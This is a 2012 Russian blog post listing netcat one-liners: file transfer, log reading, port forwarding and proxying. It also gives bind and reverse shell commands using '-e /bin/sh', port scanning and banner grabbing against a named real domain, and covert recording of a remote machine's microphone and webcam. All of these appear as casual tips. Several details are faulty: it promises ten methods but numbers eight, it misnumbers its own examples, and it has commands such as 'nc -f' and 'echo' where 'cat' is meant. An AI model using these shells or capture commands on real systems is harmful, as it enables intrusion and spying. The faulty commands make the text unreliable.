Блог ИТ склеротика. 10 способов использовать netcat

Страницы

Расширенный поиск в статьях блога

1 июня 2012 г.

10 способов использовать netcat


10 способов использовать netcatNetcat - это сетевой инструмент, замену которому вряд ли можно найти. Обладая предельной простотой, он невероятно богат на функционал, а диапазон его применения столь широк, что в народе netcat окрестили «Швейцарским армейским ножом».
Утилита netcat по сути не делает ничего, кроме копирования данных в сетевой порт и из него, но при этом с ее помощью можно:
1 Передавать файлы (первую команду выполняем на принимающей машине, вторую - на передающей:
$ nc -l 31334 > filename
$ nc 172.16.69.143 31334 < filename
2 Удаленно читать логи (первая - сервер, вторая - клиент):
$ nc -f /var/log/messages | nc -l 31334
$ nc 172.16.69.143 31334


3 Использовать вместо telnet (первая - telnet-сервер, вторая - клиент):


$ nc -l -p 31334 -e /bin/sh
$ nc 172.16.69.143 31334


4 Сканировать на открытые порты:


$ nc -z execbit.ru 1-1024


5 Осуществлять фингерпринт сервисов на основе баннеров:


$ echo "QUIT" | nc execbit.ru 1-1024


6 Организовывать обратный шелл (первая - клиент, вторая - сервер, однако шелл откроется от сервера к клиенту):


$ nc -e /bin/sh 172.16.69.143 31334
$ nc -l -p 31334


7 Делать микрофонную запись с удаленной машины (сервер, клиент):


$ arecord -f dat -t raw | nc -l 31337
$ nc 172.16.69.143 31337 | oggenc - -r -o nc.ogg


8 Получать снимки с web-камеры удаленной машины (сервер, клиент):


$ while [ 1 ]; do streamer -o /tmp/photo.jpeg; nc -l 31337 < /tmp/photo.jpeg; done
$ nc localhost 31337 > photo.jpeg


Однако, важно понимать, что существует несколько версий netcat, поведение которых может отличаться. Экземпляр, поставляемый с дистрибутивами Linux, - это оригинал, доживший до наших дней. Все пять приведенных примеров он отработает без проблем. Версия под названием GNU Netcat не поддерживает опции -e, поэтому второй и пятый примеры она не воспримет.


Особого внимания заслуживает netcat, распространяемый вместе с BSD-системами, опция -e в нем есть, но предназначена она для шифрования входящего и исходящего трафика методом IPSec ESP:


$ nc -e 'in ipsec esp/transport//require' -e 'out ipsec esp/transport//require' \
172.16.69.143 31334


Кроме того, BSD Netcat способен подключаться к удаленной машине через прокси:


$ nc -x172.16.64.1:8080 -Xconnect 172.16.69.143 31334


В этом примере прокси находится по адресу 172.16.64.1:8080, а флаг -Xconnect говорит о том, что он работает с протоколом HTTP. Также поддерживаются SOCKS версий 4 и 5, но о них следует информировать netcat через флаг -X4 или -X5.


Сам netcat легко использовать в качестве прокси или редиректора портов, но в этом случае его лучше связать с демоном inetd:


# echo 'redirect-2525-to-25 2525/tcp' >> /etc/services
# echo 'redirect-2525-to-25 stream tcp nowait nobody /usr/bin/nc nc -w 2 127.0.0.1 25' \
>> /etc/inetd.conf
# killall -HUP inetd


Теперь весь трафик, пришедший на порт 2525, будет перенаправляться на стандартный 25-й SMTP-порт. Таким же образом мы можем завернуть трафик с любого порта на другой порт/машину, просто видоизменив первые две команды.


Кстати, пользователи дистрибутивов Linux могут вообще не заморачиваться с netcat: демон xinetd, ставший стандартом в Linux-системах, сам умеет перенаправлять сетевой трафик:


$ echo /etc/xinetd/redirect

service redirect-2525-to-25
{
  disable = no
  type = UNLISTED
  socket_type = stream
  protocol = tcp
  wait = no
  port = 2525
  redirect = 127.0.0.1 25
  user = nobody
}

.

Счетчик тИЦ и PR Яндекс.Метрика Msn bot last visit powered by MyPagerank.NetYahoo bot last visit powered by MyPagerank.Net ping fast  my blog, website, or RSS feed for Free